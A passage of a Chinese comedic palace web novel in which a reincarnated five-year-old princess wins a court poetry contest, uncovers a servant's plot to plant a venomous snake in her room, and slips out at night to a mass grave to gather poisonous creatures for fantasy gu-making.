太子黑着脸道:“父皇,她胆子也太大了。” 唐蕊一脸无辜:“太子叔叔,我可什么都没说哦,怎么就胆子大了?” “你…”太子噎住了。 唐蕊好像确实什么都没说,只是眼神乱瞟而已。 司徒嫱烦躁道:“你还比不比了?” “比啊!可素…”唐蕊眼睛直勾勾的盯着皇帝龙冠上的大东珠。 左脸写着想,右脸写着要。 皇帝扶额,扫了一眼总管太监陈德福。 陈德福秒懂,笑呵呵道:“昭华郡主,这东珠太贵重了,实在没有多的,你看…夜明珠怎么样?” “行叭!”晚上可以当电灯泡,很实用。 唐蕊满足了,这才有空搭理司徒嫱:“你说要比什么叭!” 司徒嫱冷哼一声:“我也不欺负你,就比背诗,以荷花为名,谁背不出来就算输。” “哦!”唐蕊懂了:“那你开始叭!” 司徒嫱起身,挺直背脊傲然道:“匆匆岁月如流水,皎皎荷花并蒂莲。” 唐蕊无缝衔接:“接天莲叶无穷碧,映日荷花别样红。” “妙啊!”学问最好的老五睿王咀嚼着诗句,面露欣赏之意:“用无边的碧绿荷叶衬托出阳光照耀下格外鲜红的荷花,增强了感染力和画面感。昭华,以前我没听过这首诗,这是你现作的吗?” “不是哦!”唐蕊心道,这是唐诗三百首呢:“你们不是说念诗吗?这是…是我师傅作的诗哦。” “你还有师傅?”睿王惊讶道:“不知你师傅是…” “师傅就是师傅呀,她送我来找爹爹的哦!”不能暴露神医谷的位置,也不能暴露师傅,不然会被师傅揍的。 “这…” “五叔,现在是我跟她的比试。” 司徒嫱不满的打断睿王的话。 睿王没好气的翻了个白眼,非常耿直道:“你都八岁了,昭华才五岁,赢了也是胜之不武。” 司徒嫱脸色一黑。 她当然知道,但心里太不平衡了。 再说了,这可是在皇爷爷面前露脸的机会,只要她赢了,说不定皇爷爷能看到她的才华,也封她一个郡主呢! 司徒嫱收拾好心情,继续念道:“月色朦胧照小楼,清辉洒落满池荷。” 唐蕊再次无缝衔接:“若耶溪傍采莲女,笑隔荷花共人语。” “你…”司徒嫱咬咬牙,想了想,继续念道:“夏雨…夏雨飘落心无痕,碧叶粉荷满庭香。” “荷尽已无擎雨盖,菊残犹有傲霜枝。” … 两人你来我往,司徒嫱的速度越来越慢,越来越磕磕绊绊。 唐蕊有唐诗三百首做后盾,全程无缝衔接,想都不带想的,张口就来。 每一首还都是千古绝句。 其他皇子还好,睿王看唐蕊的眼睛都在发光,恨不得立刻结识唐蕊的师傅,好好讨论诗词歌赋。 到了最后,司徒嫱肚里那点墨水都快耗干净了,良久才念出一句:“池中荷花…初…初露尖,点点嫩绿…嫩绿…惹人怜。” “卓卓荷花瑞,亭亭出水中。一茎孤引绿,双影共分红。色夺歌人脸,香乱舞衣风。名莲自可念,况复两心同!” 唐蕊念罢冲璃王妃甜甜一笑:“这首诗送给母妃和爹爹。” “好!”睿王激动得无以复加:“昭华小小年纪能背这么多诗,每一首都还是千古佳句,你师傅一定是德才兼备之大儒。” 第6章 昭华郡主 璃王妃小心翼翼瞄了司徒澈一眼,暗暗羞红了脸。 司徒澈对这小妮子的师傅也开始好奇了,不知什么样的大才,才能作出这么多惊艳绝伦的诗句来。 皇帝看唐蕊越发满意,本以为这妮子说熟读四书五经诗词歌赋是玩笑话,没想到竟然是真的。 皇帝看向司徒嫱:“你还能接吗?” “孙女…孙女…”司徒嫱死死的握着拳,眼泪在眼眶里打转。 皇帝皱眉道:“接不上就接不上,愿赌服输,哭什么?” 司徒嫱吓得赶紧把眼泪憋回去,脸都白了:“孙女没哭…” “…”庶女就是庶女,上不得台面。 皇帝摇摇头,不再看她,反而对唐蕊投去赞赏的目光:“昭华郡主,实至名归。” 唐蕊:“我赢了吗?那我可以收宝贝啦?” 皇帝笑道:“自然可以!” “噢耶,谢谢皇爷爷,堂姐承让啦!” 唐蕊屁颠屁颠把玉佩和银票收入囊中,转头就给了璃王妃:“母妃,给你哒。” 璃王妃愣了一下,心下感动:“母妃不要,这些都是你的,你自己收着。” “可我花不完呀!玉佩都给爹爹,银票我留六张,给母妃四张。爹爹和母妃赚钱辛苦,给你们哒零花钱!” 还有府里送她礼物的那些庶母,圣旨下来的时候,皇爷爷应该还会打赏吧? 到时候给庶母们都选一件,当做回礼。 唐蕊分配好战利品,还给了璃王妃一个爱的么么哒! 璃王妃眼眶发热,别过头擦掉眼角的泪,抱起唐蕊:“昭华真乖,这么小都知道心疼母妃和爹爹了。” 司徒澈看着怀里一堆玉佩,心情也很复杂。 这个孩子,太懂事了。 都说懂事的孩子是因为吃过很多苦。 她…吃过很多苦吗? 司徒澈第一次反思,也许…不该把上一代的恩怨算在一个孩子头上。 孩子的娘给他下药很可恶,可孩子是无辜的。 他是不是应该对孩子好一点? 就在他这么想的时候,唐蕊把屁颠屁颠跑到皇帝面前,给了他一张银票:“皇爷爷,见者有份哦。” 皇帝惊呆了:“朕也有?” “嗯呐!”唐蕊点点头:“皇爷爷操劳国事,很辛苦,给你银票买燕窝补补。” “昭华真孝顺!”皇帝乐了。 虽然不缺这份燕窝,但孩子孝心难能可贵。 罢了,宣旨的时候再多选点好东西赏赐这孩子吧! 唐蕊说好了见者有份,那都有份。 接下来又把其余的五张银票给几个王爷一人一张,连太子都没落下。 “各位叔叔都有哦,我对你们的爱是一样哒!” 众人稀奇坏了,这女娃娃也太讨喜了吧? 收到银票的太子都不好意思为难唐蕊了,破天荒的朝她挤出一抹慈爱的笑,说了句:“昭华真乖。” 同时还有点嫉妒老七。 他两个庶女一个庶子,没一个有唐蕊懂事。 老七是走了什么狗屎运? 在场唯一不满的估计只有司徒嫱了。 不过她的心情没人在乎。 皇帝心情好,大手一挥:“以后昭华就去国学监和皇孙们一起念书吧!” 唐蕊闻言犹如晴天霹雳! 司徒澈皱眉:“父皇,这太早了…” 皇帝:“不早,昭华早慧,别耽误了她!” “…”行叭,你说了算! “对了!”皇帝突然想起来:“昭华生辰哪一月?” 司徒澈:“十二月初十!” 那封皱巴巴的信上有唐蕊的出生时间。 皇帝点点头,看向陈德福:“记住这个时间,以后每年昭华生辰,记得选礼物送去璃王府。” “是!” “没事就散了吧!” 皇帝离开,各位王爷也各回各家。 只是路过司徒澈的时候,都会不爽的瞪他一眼。 谁让他女儿可爱又聪明呢! … 璃王府! 璃王妃回到自己院子的时候,朱庶妃带着张姬和李姬已经在那等着她了。 没别的意思,就是唐蕊第一次进宫,她们担心唐蕊被欺负。 璃王妃喝了一口水,开始绘声绘色描绘唐蕊的光辉历史。 三个女人听得津津有味,提起的心也落下了。 朱庶妃:“去国学监也好,教导的夫子都是经世大儒,琴棋书画也得学起来。” “不光是学习问题,还有嫁妆问题,咱们也可以给蕊蕊攒起来了。”李姬说罢,摸出一沓银票拍桌上,每张还都是一千两的面额。 本来还很高兴的璃王妃:“…” 张姬抓了抓脑门:“我没多少钱,爹留给我的嫁妆倒是不少,一会儿我回去翻翻。” 璃王妃听着这一句句的,越发窘迫。 她这个王妃,好像是几个女人当中最穷的。 执掌中馈多年来,也是一心一意,从不贪墨王爷的东西。 搞得现在连给孩子一件像样的礼物都做不到。 璃王妃咬咬牙,再次坚定了要把嫁妆拿回来的决心。 东宫! 司徒嫱跪在地上,太子坐在上首,脸色阴沉:“你可知错?” “儿臣知道…”司徒嫱咬了咬唇,眼泪在眼眶里打转:“儿臣不该输给唐蕊。” “不止是这个,你错就错在不该在敌我实力不明的时候,冲动行事,丢孤的脸。” 太子冷着脸摆摆手:“去佛堂跪三天。” “是!”司徒嫱擦掉眼泪,转身后眼底浮现出与这个年纪不符的狠厉。 唐蕊,你给我等着! 太子妃不屑的看了她一眼,端着一碗莲子羹婀娜多姿来到太子面前,声音柔媚得快要滴出水来:“殿下,嫱儿犯错,慢慢教就是了,别气坏了自个儿的身子。” 太子眼底烦躁一闪而逝:“说来说去还不是怪你,孤每个月十五都宿你房里,你怎么不给孤生个嫡子或是嫡女?” 太子妃脸色一僵,脸上划过一丝难堪。 “算了,你自己喝吧!”太子起身,拂袖离开。 … 辰王府! 辰王刚一回来,就被下人告知,唯一的嫡子受了风寒,又病危了。 辰王一颗心顿时提了起来,匆匆赶到了司徒郯的院子。 辰王妃守在床边,眼睛红红的,一眨不眨的盯着躺在床上的人儿。 见辰王来了,辰王妃终于没忍住低声抽泣起来:“王爷,你可算回来了。” 第7章 王府里没有仙子,只有疯子 辰王皱眉道:“郯儿如何?” “府医开了药,刚吃完药睡下。” 两人成亲多年,除了一个庶子,就司徒郯这么一个嫡子。 可辰王妃怀这孩子的时候,遭了府中小妾的毒手早产。 以后再也不能生育不说,司徒郯胎里不足,身体很差,一场风寒都能要了他的命。 为了这孩子,辰王妃每天殚精竭虑,丝毫不敢松懈。 即便如此,太医院院判还是断言,孩子活不过十二岁。 今年司徒郯都十岁了,学习很好,任何书本看几遍就能记住。 但…这么聪慧的孩子,还有两年… 每每想起这个,辰王妃心如刀割。 辰王看着也很难受,轻拍着她的肩宽慰:“本王已经让人去寻神医谷了,郯儿不会有事的。” “嗯!”辰王妃依偎进他怀里,硬扯出一抹笑:“王爷没事多去妹妹们院子里坐坐吧,这里有我陪着郯儿就够了。” “…”要那么多庶子有啥用啊? 辰王内心吐槽的时候,脑海里划过唐蕊肉乎乎的小脸。 不过,要是庶子庶女有一个能像唐蕊那样聪慧,好像也不错。 … 睿王府! 睿王一回去就去了庶妃院里,还让奴才带上他的四书五经。 扶着庶妃坐下后,睿王二话不说拿起一本大学开始念。 庶妃不明所以:“王爷,您这是…” “嘘!你别说话。”睿王打断她的话:“本王教导孩子呢,提前教教,等他出来的时候,说不定会跟唐蕊一样早慧。” 庶妃被他这神奇的脑回路惊到了:“王爷,孩子才六个月。” “是啊,都成型了,能听到本王的声音了。” “…”有病吧! 庶妃尬笑:“王爷,您还有两个嫡女和一个庶女呢,不如…多教教她们?” 睿王闻言一脸嫌弃:“那三蠢得跟什么似的,早就长废了,爷要好好培养这一胎。你也给爷争点气,别生个蠢货出来。” “…”我刀呢? 庶妃气得磨牙,还不敢发作。 睿王这一念就没停下,从白天到黑夜,连饭都没吃。 直到三更,睿王才睡。 庶妃招来自己的婢女,有气无力道:“去打听一下,唐蕊是谁。” 为什么爷遇到这个叫唐蕊的就疯了? … 襄王府! 襄王回去后破天荒的去了襄王妃的院子。 “你还敢来!”正啃鸭腿的襄王妃立刻扔了鸭腿,操起一边的鸡毛掸子。 “等等!”襄王赶紧开口:“爷不是来跟你吵架的,是…是来跟你生儿子的,实在不行,女儿也行。” 襄王妃闻言一愣,摸了摸他的脑门,又摸了摸自己脑门:“这也没发烧啊,受啥刺激了?” 襄王一听就炸毛了:“方岚娇,麻烦你搞清楚自己的身份,你是本王的王妃,给本王生儿育女天经地义。” 襄王妃冷笑:“是谁说,这辈子就算是死,都不跟我睡觉?” “…”还不是因为你太凶了,一夜八次,爷都说了不行了,你还挑逗爷。 爷差点死床上,没休了你都算脾气好。 襄王岔开话题:“这不是重点,重点是本王要孩子,你给本王生一个!” “行啊!”襄王妃冷笑一声,放下鸡毛掸子,来到自己床边,把床底下一个木箱子拖了出来。 看到这个箱子,襄王脸色骤变。 襄王妃打开木箱子,手链鞭子蜡烛…各种十八禁物品满当当一箱。 襄王咽了口唾沫,转身就走:“爷突然又不想要孩子了。” “来人,关门!”贴身婢女立刻关门,还贴心的上了锁。 襄王妃拿出鞭子一甩,啪的一声:“想跑?” “你…你干什么?你别乱来啊!” “不是王爷您说要孩子的吗?” “我不要了,不要了!” “晚了!” “你不要过来啊啊啊!” 夫妻俩围着桌子,玩起了秦王绕柱。 … 被几个女人念叨的唐蕊回到王府后,首先去厨房溜达了一圈。 厨房的人昨晚得了她的赏,面对她的时候脾气也好到爆。 见她盯着午膳流哈喇子的模样,大厨把刚炖好的牛肉给她舀了一大碗。 “谢谢谢谢!”唐蕊哈喇子流得更凶的同时,还不忘道谢。 大厨笑道:“小主子说笑了,王府是您的家,您想吃什么就说。” “好哒,我不多吃,就垫垫肚子!”她也不知道为毛自己食量这么大。 也许,是前世减肥饿太狠了,现在是小孩子,也不用保持身材,所以才敢肆无忌惮胡吃海喝。 一大碗炖牛肉很快见了底,连汤都给唐蕊喝得一干二净。 大厨怕她牛肉吃多了不消化,又给她舀了一碗黄豆炖鸡。 唐蕊吃完,终于觉得饥饿感消了一些,这才离开厨房,去别处溜达了。 说是溜达,其实是找毒虫毒蛇。 虽然有爹了,但也不能忘本。 制蛊技能还是要学起来。 但王府每天都有下人打扫,哪里来毒物? 唐蕊找了一圈都没找到,反而把自己弄得脏兮兮的。 算了! 放弃! 唐蕊摘了几朵开得很好的茉莉,打算先回翠微阁洗澡,快到饭点了,不能错过。 路过假山的时候,顾侧妃正带着婢女往前走来。 唐蕊看到她立刻扬起甜甜的笑脸:“大庶母,你也去看花哦?” 顾侧妃淡淡点头:“怎么把自己弄得这么脏!” “摘花去啦!” 唐蕊说罢踮起脚脚,把刚摘的茉莉花递给她:“大庶母,送你哈。茉莉白白的,又很香,就跟大庶母你一样哦!” 顾侧妃低头看了看自己的白裙子,迟疑片刻,还是接过茉莉花,脸色也缓和了几分:“谢谢。” “不谢哦!我很喜欢大庶母,白衣飘飘,跟天上的仙子一样。” 顾侧妃好像不喜欢她,她嘴甜一点,讨喜一些。 正常的大人都不会太为难她这个娃娃吧! 顾侧妃苦涩一笑,蹲下身替她把乱了的小发包整理好,意有所指道:“王府里没有仙子,只有被困住的女子,时间久了,这些女子都会变成疯子。” 唐蕊:“…” 我知道哦! 看了那么多遍甄嬛传呢! 但你跟我一个小娃娃说这些干嘛? 顾侧妃不再多说,起身带着婢女离开。 唐蕊狐疑的看着她的背影,总感觉这顾侧妃给她的感觉很熟悉。 对了! 唐蕊突然灵光一闪。 第8章 她想要什么就给她 这不就是上一世她看过的那些小说里的人淡如菊女主或女配么? 那么问题来了,这位顾侧妃是真的人淡如菊,还是装的人淡如菊呢? 唐蕊摸了摸下巴,留下两个脏兮兮的小手印,蹦蹦跳跳回到自己院子。 “恭喜郡主贺喜郡主!”容嬷嬷早带着一群奴才等着了。 虽然圣旨还没下来,但王妃都说了,昭华郡主的事板上钉钉。 “谢谢,谢谢哦!”唐蕊小小的人,学着官场上那些大人拱手客气,看得一众奴才忍不住笑出了声。 容嬷嬷终于注意到了她身上的脏污,赶紧招呼婢女奴才们:“快去厨房烧热水伺候郡主沐浴。” “是!”翠微阁的下人们齐齐忙活起来。 “大家辛苦啦,等圣旨下来给你们奖金。” 唐蕊说罢推门进屋,一条拇指粗细黑花花的东西猛然窜了过来。 这… 竟然是蛇! 唐蕊眼睛瞬间亮了。 容嬷嬷花容失色。 下人们也惊声尖叫起来。 黑红相间,脑袋三角,这蛇一看就有剧毒。 毒蛇弹跳起来,对着唐蕊的脸张开了嘴,尖锐的毒牙闪烁着寒光。 两个胆小的婢女白眼一翻,当场吓昏。 关键时刻,唐蕊闪电般的伸出小胖手,准确无误捏住了毒蛇脑袋。 容嬷嬷惊魂未定,良久才找回自己的声音:“小郡主你…你快把蛇扔了。” 唐蕊无辜脸:“我松手它就会咬人哦!” “那…那我去叫人!” “不了!这可是好东西哦!容嬷嬷,麻烦你给我找个罐子来!” “好…” 容嬷嬷不知道唐蕊想干嘛,还是让下人给她找了个陶罐来。 唐蕊把毒蛇放进罐子里,又掏出几个纸包打开,一一把粉末倒进去。 毒蛇好几次伸出头来想咬她,都被她一木棍敲了回去。 撒完所有粉末,唐蕊看向惊魂未定的两个家丁:“我想要很多毒蛇,小小的那种,毒虫也行。” “这…”两个家丁看向容嬷嬷。 容嬷嬷皱眉道:“小郡主,你要这东西做什么?” “制蛊呀!我离开师傅的时候走得急,宝贝都没带上,只能重新做哦!” “…”蛊?你还会制传说中的蛊? 王爷知道吗? 王妃知道吗? 唐蕊可怜巴巴:“有吗?” “有…”容嬷嬷应了一声,给一个小婢女使了个眼色。 小婢女秒懂,赶紧开溜去禀告司徒澈。 … “制蛊?”司徒澈皱眉:“你确定没听错?” 婢女低眉顺眼:“没错,郡主就是这么说的。” 司徒澈:“…” 那不是南蛮皇室才会的东西吗? 自从南蛮被北狄灭了以后,蛊术也失传了。 这孩子怎么会这个东西? 司徒澈沉吟片刻才道:“她想要什么就给她。” “是!”得到答复,婢女赶紧回去复命。 她刚走,清风就低声道:“王爷,要不要属下去查查郡主以前的事?” “估计什么都查不到!”五岁的孩子是不可能独自来王府的。 有人送她来,却没露面,就意味着对方不想暴露身份。 唐蕊以前的事,肯定会被对方隐瞒。 “罢了!不用管!你去查查,她院子里怎么会有毒蛇。” “是!” 他离开后,司徒澈淡淡喊了一声:“明月!” 一道人影如鬼魅般出现在他面前,单膝跪地。 司徒澈:“以后你跟着唐蕊,事无巨细记录在册,还要保护她的安全。” 人影一闪消失在原地,好像从来都不曾出现过一样。 … 得到司徒澈的首肯,两个小厮当即买来几条毒蛇。 唐蕊把几条毒蛇全都扔进那个罐子里,放置在阴凉处。 容嬷嬷看得眼皮直跳:“郡主,这…就好了?” “好啦!十天后再看,嬷嬷记得到时候提醒我哦。”唐蕊说罢摸了摸肚子:“饿啦!” 容嬷嬷眉眼缓和下来:“老奴立刻让人上菜,小主子先洗洗手好不好?” “好!可我想喝奶茶!” “奶茶?” “一会儿我去做,嬷嬷跟我学好不好?” “好…”容嬷嬷从没想过这孩子能做出什么好茶来,只当她贪玩了。 唐蕊洗了手坐在桌边,一通风卷残云,把十二个菜又消灭得干干净净。 米饭依旧没动。 一群奴才震惊的盯着她那圆滚滚的肚皮,就不理解! 十二个菜啊,她到底吃哪儿去了? 容嬷嬷还算淡定,她已经见识过唐蕊的食量了。 小孩子嘛,正在长身体,很正常。 容嬷嬷这么安慰自己,等唐蕊吃完,带着一群婢女伺候她洗澡。 换上干净的衣服后,唐蕊这才去了厨房,开始指挥容嬷嬷做奶茶。 容嬷嬷表示,真香! “奶香和茶香完美融合,口感丝滑,真是太好喝了。” “是吧?” 唐蕊又喝了一大口,满足的打了个奶嗝:“剩下的给爹爹母妃和庶母们都送一份,要是还有剩的你们就分了吧!” “谢小主子!”奴才们看唐蕊喝得那么香,早就馋了。 容嬷嬷皱了皱眉,小声提醒她:“郡主,不要对下人太好了。” “嬷嬷,我知道你的意思。”无非就是担心下人得寸进尺,升米恩斗米仇。 前世作为现代人,应该追崇人人平等。 但这里不是现代,而是等级森严的古代,不过现代某些规矩可以放在这里。 古今结合一下,取其精华去其糟粕嘛! 唐蕊一本正经道:“一会儿你把我院子里的人都集合起来,我要训话。” 容嬷嬷:“好…” 唐蕊是郡主,璃王妃又疼她,院子里除了容嬷嬷,还有十个伺候的下人。 什么一等二等三等的,她懒得记,全都交给容嬷嬷管理。 但现在,她要丑话说前头。 等所有下人都送完奶茶回来后,容嬷嬷把他们都聚到了一起,唐蕊踩在凳子上,开始颁布翠微阁的规矩。 总体说起来很简单,考勤制度。 每个奴才每天工作的地方都会设置一个考勤表。 什么时候来的,得在表上签名按手印,以及写上开工时间。 什么时候走的,也要签名,写上下工时间,外加自己今天的大概工作内容或方向。 每个月月底结算月给的时候,容嬷嬷会根据考勤表克扣或奖赏。 到时候大家也可以互相举报,起到监督作用。 当然,举报属实,会有奖励。 另外… 第9章 谁放的毒蛇? 另外… “以后在翠微阁工作的人,一个月下来没有任何错处的,月给翻倍。” 下人们本来还很郁闷的,但一听这话,一个个眼睛都亮了:“小主子放心,我们一定好好干!” 唐蕊满意的点点头,突然话音一转:“那么现在有没有人能告诉我,我去宫里的时候,谁去过我屋里?又或者谁行踪可疑呢?” 下人们火热的心顿时如同被一盆冷水浇灭了。 是啊! 王府里怎么会有毒蛇? 郡主隔这秋后算账呢! 其中一个奴才垂下头去,眼底满是惊骇与后怕。 下人们也努力回想起来。 “郡主走后,我收拾的房间,没有任何发现,当时我还特意注意了一下时间,好像是辰时三刻!” “府里巳时二刻是下人们领热水的时间,我那时候刚领了热水回来,也去了郡主屋里,没有任何发现。” “午时我也去过,把郡主换下来的衣服拿去洗了,没有任何发现。” “郡主是午时三刻那样子回来的,所以在午时到午时三刻这段时间,有人还去过郡主房间。” “啊!我想起来了。” 婢女春桃猛的看向小梁:“是你,我当时刚收拾完郡主的闺房,正在整理花圃,亲眼看到你打开窗户往里瞧,鬼鬼祟祟的。之后就再没人进去过,那条蛇肯定是你放的。” 小梁子早就心慌慌了,春桃这一吼,他腿一软,扑通跪在地上。 想狡辩已经来不及了,他这样子不打自招。 “郡主饶命,郡主饶命,是厨房打杂的彩莹让我干的,她还给了我十两银子,在这儿呢,您瞧!”小梁子瑟瑟发抖,不停朝唐蕊磕头,还从怀里摸出十两银子。 “来人,把这吃里扒外的狗奴才拉去王妃那,你还有你,去厨房把彩莹那小贱蹄子绑来!” 容嬷嬷怒斥一声,当即有两个奴才上前,摁住了小梁子,把他往外拖。 还有两个奴才去厨房找彩莹。 “没事了没事了,都散了吧,只要你们好好干,我不会亏待你们哦!” 唐蕊挥挥手,奴才们默默擦汗,对这位小主子有了全新的认知,并默默警告自己。 千万别以为郡主年纪小,就好糊弄。 郡主聪明着呢! 用一句话形容:面带猪像,心中嘹亮! 容嬷嬷也朝唐蕊竖起大拇指:“郡主厉害!” “还好啦!”要是没有前世记忆,她哪能这么厉害。 不过上辈子,除了高考那三年,她也没遭过什么罪,是个小小的富二代。 悲催的被一块肉噎死了。 等再睁开眼,她就在娘亲肚子里。 小小的一团,眼睛都睁不开,还很容易累。 被娘亲生下来后,很多时候她也想展现自己成熟的一面。 但… 不知道是因为年纪太小,还是孩子天性,有时候根本就控制不住自己的性子和想法。 受了委屈吃了痛,眼泪都不由自主。 最后她摆烂了。 就这么滴吧,反正她是真·小孩,就该天真烂漫。 要是成熟起来,别人只会把她当怪物。 没一会儿,去找彩莹的下人匆匆跑了回来:“郡主,不好了,我们去的时候彩莹已经上吊死了。” 唐蕊:“…” 容嬷嬷脸色一沉:“死了?谋害郡主,死了就算了吗?把她的尸体五马分尸,给我扔到乱葬岗去喂狗。” “是,是,我们这就去。”两个下人冷汗淋漓,却不敢多说什么。 这事说到底还是怪彩莹。 小郡主多可爱啊,居然给人家屋里扔毒蛇,这是奔着要小郡主的命去的。 王爷不能人道,王妃千呼万盼,好不容易才盼来这么一个宝贝蛋。 想要小郡主的命,这不是要王妃的命吗? 容嬷嬷看向发呆的唐蕊,凶狠的脸色一秒消失,只剩怜爱与懊恼:“小郡主,吓到你了吧?” “对哦!”唐蕊打了个响指,像是打开了新世界大门:“毒蛇毒虫府里不好找,乱葬岗应该很多吧?” 容嬷嬷:“??” 唐蕊咧嘴一笑:“嬷嬷,晚上叫上两个胆大的家丁,跟我去乱葬岗玩呀!” 容嬷嬷:“!!”你说神马?敢不敢再说一次? … 夜晚… 黑乎乎的小团子狗狗祟祟带着三个同样黑乎乎狗狗祟祟的人影轻手轻脚离开翠微阁。 刚走出去十多米,一队夜巡的侍卫路过。 小团子就地一滚,滚进了草丛,与黑暗融为一体。 另外三个影子杵在原地手足无措了一会儿,最后还是咬咬牙,学着小团子那样滚进了草丛。 等夜巡的侍卫们离开,草丛里伸出1234颗脑瓜子。 容嬷嬷拉下蒙面布,一言难尽的看着身边的蒙面小团子:“郡主,我们不用穿夜行衣吧!” 这是你的家啊,为什么要把自己变成贼? 唐蕊小声道:“为了应景哦,我看电视里那些采花大盗或小贼,不都要换夜行衣么?” 容嬷嬷:“…”可您不是采花大盗或小贼啊! 求救般看向另外俩黑衣人。 他们正是唐蕊院子里的奴才,容嬷嬷的心腹。 听说还是两兄弟,大哥叫大格,二弟叫二格。 大格最是激灵,接收到容嬷嬷的眼神,赶紧说道:“郡主,咱们这么穿着,好像更可疑了,万一被逮到,那些侍卫不给我们说话的机会就把我们当刺客宰了呢?” “不阔能!”唐蕊信誓旦旦:“反派话都多,他们不会立刻宰了我们,但要是被爹和母妃发现我溜出去,我的开溜计划十成十要泡汤!” 大格无言以对。 二格叹息一声,不停给自家老哥和容嬷嬷的使眼色:“郡主说得对,就这样吧!” 反正早就通知过王爷了,王爷也派了明月在暗处跟着,不管郡主怎么闹腾,都不会有生命危险。 容嬷嬷叹息一声:“好吧!” “走!”唐蕊就地一滚,又滚到了另一边草丛。 容嬷嬷和兄弟俩没办法,只能跟着她滚。 暗处的明月:“…” 沉吟片刻,默默掏出小本本,拿出炭笔记上。 最后还面无表情补充了一句:【郡主比江湖上的采花大盗都还专业的样子,很难让属下不怀疑她以前从事的职业。】 第10章 来人啊,有人在吃尸体 四个黑球滚一路歇一路,兄弟俩还好,容嬷嬷年纪大了,唐蕊年纪又太小,滚起来越来越吃力。 或许是体积原因,在经过一个路口的时候,唐蕊滚慢了一圈,刚好被一队夜巡侍卫发现。 慌乱之下唐蕊抱着自己背过身去一动不动,心里不停默念:我是石头我是石头我是石头。 夜巡队长眼尾一抽,谨记王爷的吩咐,默默转过身去:“这里没情况,去那边看看。” 唐蕊闻言一愣。 王府的侍卫这么瞎的吗? “郡主,走啦,前面就是最外围的荒院!” 大格一开口,唐蕊也没心思多想了,深吸一口气滚了好几圈,终于到达目的地。 从这个院子翻出去,就是王府外面了。 在大格二格的帮助下,唐蕊和容嬷嬷成功出逃。 容嬷嬷揉着自己的老腰。 老天菩萨,来伺候小郡主的时候,王妃没说会有生命危险啊! 感觉她这老胳膊老腿都快散架了。 “郡主,奴才早就准备好了马车,请上车!”二格很懂事的从暗处牵了一辆马车过来。 唐蕊:“上道!月底给你发奖金。” “多谢郡主!”二格没听过奖金两个字,但大概明白这意思,神色一喜,把唐蕊抱到马车上。 大格也扶着容嬷嬷上了马车。 兄弟二人架着马车疾驰而去。 京城没宵禁,但入夜后街上几乎都没什么人了,城门也会关闭。 但不知道是有人提前跟守城的士兵说过,还是因为这是璃王府的马车,唐蕊一路出城特别顺利。 小孩子的脑神经想不了那么多,只觉得自己运气很好,第一次出逃就这么顺利,天生就是吃这碗饭的人。 很快,乱葬岗到了。 盛夏刚过,还有余热。 一入乱葬岗地界,一股无法形容的臭风迎面拂来。 刚出马车想要呼吸一口新鲜空气的唐蕊:“yue…” “郡主,还是把蒙面布戴上吧!” 容嬷嬷好言相劝,心里却是:该戴的时候不戴,不该戴的时候偏要戴。 怎么感觉自家郡主…乖巧可爱聪明伶俐都是假象呢? 唐蕊后知后觉反应过来,赶紧戴上蒙面布,抱起新的小陶罐和小锄头:“好了,干活!” “是!”兄弟俩也举起了自己的大锄头。 容嬷嬷眼尾一抽:“我给你们把风吧!” 她可不敢去面对那些毒蛇毒虫和尸体。 唐蕊也没勉强她,带着兄弟二人大摇大摆进了乱葬岗。 这里不愧是毒蛇毒虫的天堂,刚进来没多久唐蕊就找到了一只伪蝎。 唐蕊抓住这只伪蝎扔陶罐里,顺着伪蝎来时的方向找到了一具面目全非的尸体。 大格二格差点吐了,可唐蕊全程没所刁谓,还给他们俩普及:“注意哦,这种伪蝎喜欢藏在尸体里,别被它们夹到啦,会中毒的,最好用筷子夹,注意点,当心毒蛇哦。” 大格和二格面如菜色。 他们想吐! 但唐蕊都吩咐了,两人只能硬着头皮分尸尸体。 还别说,他们也没想到,这么多毒物喜欢把尸体当成窝。 看来棺材这笔花销不能省,他们可不希望死后成为毒物老巢。 兄弟俩没发现,跟唐蕊认识后,他们的思想已经逐渐变态,朝着一种诡异的方向发展了。 哪个正常的年轻小伙,会在这个时候考虑死后棺材的问题啊? 就在这时,一道惊恐的声音传来:“来…来人啊,有人在吃尸体啊啊啊!” 唐蕊:“?” “不好!”大格一把抱起唐蕊开溜,二格扛起容嬷嬷跟了上去。 四人快速进了马车,一溜烟跑了。 很快乱葬岗燃起一个个火把,众人看着这血腥的大型分尸现场,一个个狂吐不已。 … 马车上! 唐蕊宝贝似的盯着几个陶罐,搓着小手,眼睛亮晶晶。 出来一趟,收获不小啊! 她的各种蛊都可以安排上了。 容嬷嬷看她那样子都害怕,不知道的还有以为自家郡主要这些玩意,是拿来吃的。 还有马车里这味儿… “yue…”不行了,容嬷嬷光是想象一下都要吐了。 前半生平平淡淡非常真,后半生轰轰烈烈坟堆蹲。 她觉得自己这辈子所有的刺激都用在了今天。 “郡主,你别看了!”反正她是不相信唐蕊会炼蛊。 唐蕊还是很关爱老年人的,知道容嬷嬷今晚舍命陪女子,牺牲很大,受惊不小,顿时收回了视线,冲她甜甜一笑:“容嬷嬷,谢谢你哦,我出生以来还没有谁跟你一样,这么宠着我,不管多离谱的事,都会陪着我。” 哎哟我去! 犯规! 谁让你突然装可爱的! 容嬷嬷所有不满瞬间不翼而飞,甚至还有点心疼自家郡主,宣誓般道:“郡主,老奴到死都会陪着您的。” “嬷嬷真好,除了父王母妃和庶母们,你在我心里排第一哦。” “…”都来听听,都来看看。 可可爱爱的小团子握着小拳拳,水汪汪的大眼睛布灵布灵的看着你,无比真诚说着掏心窝子的话。 这谁受得了? 容嬷嬷爱怜的揉了揉她的脑瓜子:“能被郡主需要,是老奴的荣幸。” “遇到嬷嬷也是我的荣幸哦,车里味道大,我把车帘打开,嬷嬷呼吸一下新鲜空气。” 只能说唐蕊想哄一个人,估计这世上没谁遭得住吧! 至少容嬷嬷就遭不住。 然而,唐蕊刚掀开车帘没多久,就看到了巷子里一个熟悉的侧影。 唐蕊惊讶道:“刚刚那个…好像是母妃欸!” 什么? 容嬷嬷愣住了。 唐蕊也赶紧让大格二格停车。 … 巷子里! 璃王妃带着黑色斗篷,恶狠狠的瞪着面前的男子:“何耀祖,怎么会是你?秦芷媃呢?” 男子笑容猥琐,眼瞎一团乌青,一看就是纵欲过度。 暗绿色衣袍松松垮垮,有些陈旧,与他身形极其不符。 “表妹,我可是你表哥,怎么能直呼我的名字呢!”何耀祖说着,还合上扇子去挑璃王妃的下巴。 璃王妃后退一步,毫不掩饰的厌恶:“你是秦芷媃的表哥,可不是我表哥。废话少说,秦芷媃呢,她给我的回信说了,只要我来这里,就会把我母亲的嫁妆还给我。” 第11章 一看就是专业的 